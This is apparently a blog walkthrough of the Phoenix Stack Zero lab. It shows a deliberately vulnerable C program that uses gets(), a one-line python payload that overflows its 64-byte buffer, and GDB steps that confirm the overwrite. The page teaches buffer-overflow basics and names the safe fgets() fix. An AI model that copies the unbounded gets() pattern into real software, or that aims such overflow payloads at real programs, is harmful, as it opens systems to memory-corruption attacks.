643 words

3 minutes

Phoenix Stack Zero – Setting Up a Buffer Overflow Lab

2026-03-16

Cybersecurity

Binary Exploitation

/

Buffer Overflow

/

C

/

Cybersecurity

/

Exploit Development

Phoenix Stack Zero – Buffer Overflow Walkthrough#

Overview#

Stack Zero is the entry-level challenge from Exploit Education’s Phoenix series. It teaches one of the most fundamental concepts in binary exploitation: stack buffer overflows.

The goal is straightforward — overflow a buffer to overwrite an adjacent variable called changeme.

No local setup required. Everything runs inside the official Phoenix Docker image.

Environment Setup#

Using the Official Phoenix Docker Image#

Pull and run the Phoenix container:

1
docker pull exploiteducation/phoenix:amd64-latest
2
docker run --rm -it exploiteducation/phoenix:amd64-latest

Once inside the container, navigate to the challenge:

1
cd /opt/phoenix/amd64
2
ls

You should see stack-zero listed among the binaries. All protections are pre-configured for learning — no manual disabling needed.

The Vulnerable Program#

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <string.h>
4
#include <unistd.h>
5

6
char *gets(char *);
7

8
int main(int argc, char **argv)
9
{
10
    struct {
11
        char buffer[64];
12
        volatile int changeme;
13
    } locals;
14

15
    locals.changeme = 0;
16
    gets(locals.buffer);
17

18
    if (locals.changeme != 0) {
19
        puts("Well done, the 'changeme' variable has been changed!");
20
    } else {
21
        puts("Uh oh, 'changeme' has not yet been changed.");
22
    }
23

24
    exit(0);
25
}

Understanding the Vulnerability#

Memory Layout#

Inside the struct, variables are laid out sequentially in memory:

1
Low addresses
2
┌──────────────────┐
3
│  buffer[64]      │  ← input goes here
4
├──────────────────┤
5
│  changeme (int)  │  ← sits directly after buffer
6
└──────────────────┘
7
High addresses

Why `gets()` Is the Problem#

gets() reads user input with no length checking. It will keep writing bytes into memory until it hits a newline or EOF — blowing right past the 64-byte buffer boundary and into changeme.

1
// Unsafe — no bounds checking
2
gets(locals.buffer);
3

4
// Safe alternative
5
fgets(locals.buffer, sizeof(locals.buffer), stdin);

gets() was so dangerous it was formally removed from the C standard (C11). Any program still using it is vulnerable by design.

Step-by-Step Exploitation#

Step 1 — Run the Program Normally#

1
./stack-zero

Type any short input (under 64 chars) and press Enter:

1
hello
2
Uh oh, 'changeme' has not yet been changed.

The variable remains zero. Nothing interesting happens yet.

Step 2 — Trigger the Overflow#

The buffer holds 64 bytes. Sending 65 or more bytes will spill into changeme.

1
python3 -c "print('A' * 65)" | ./stack-zero

Output:

1
Well done, the 'changeme' variable has been changed!

That’s it. One extra byte is enough because the program only checks whether changeme != 0.

Step 3 — Confirm With GDB#

Start GDB on the binary:

1
gdb ./stack-zero

Set a breakpoint and run:

1
(gdb) break main
2
(gdb) run

Inspect the addresses of both variables:

1
(gdb) print &locals.buffer
2
(gdb) print &locals.changeme

You’ll see that changeme lives exactly 64 bytes after the start of buffer — confirming the offset:

1
&locals.buffer   = 0x7fffffffe490
2
&locals.changeme = 0x7fffffffe4d0   ← exactly +64

Examine memory after overflow:

1
(gdb) x/72xb &locals.buffer

You’ll see 0x41 (A) filling the buffer and bleeding into changeme’s bytes.

Why This Works#

Input size	Effect
≤ 64 bytes	Stays in buffer, `changeme` untouched
65 bytes	Overwrites first byte of `changeme`
68+ bytes	Fully overwrites all 4 bytes of `changeme`

The check if (locals.changeme != 0) passes the moment any byte of changeme becomes non-zero.

Key Concepts#

Concept	What It Means
Stack buffer overflow	Writing past a buffer’s boundary into adjacent memory
Adjacent memory corruption	Variables next to an overflowed buffer get overwritten
`volatile` keyword	Prevents the compiler from optimizing away reads of `changeme`
`gets()` danger	No bounds check = arbitrary memory write
Stack canaries	A protection (disabled here) that detects overflows before return

Learning Progression#

Stack Zero sits at the very beginning of the binary exploitation path:

1
Stack Zero       → variable overwrite
2
Stack One        → control specific variable value
3
Stack Two        → environment-based overwrite
4
Stack Three      → overwrite function pointer
5
Stack Four+      → control return address → full code execution

Each level builds directly on the last.

Tools Reference#

Tool	Use
`gdb`	Debugger — inspect memory, set breakpoints
`python3`	Generate payloads quickly
`objdump -d`	Disassemble binary
`readelf -a`	Inspect ELF headers and sections
`strings`	Find readable strings in a binary
`pwntools`	Python library for exploit scripting
`gef` / `peda`	GDB extensions with better visualization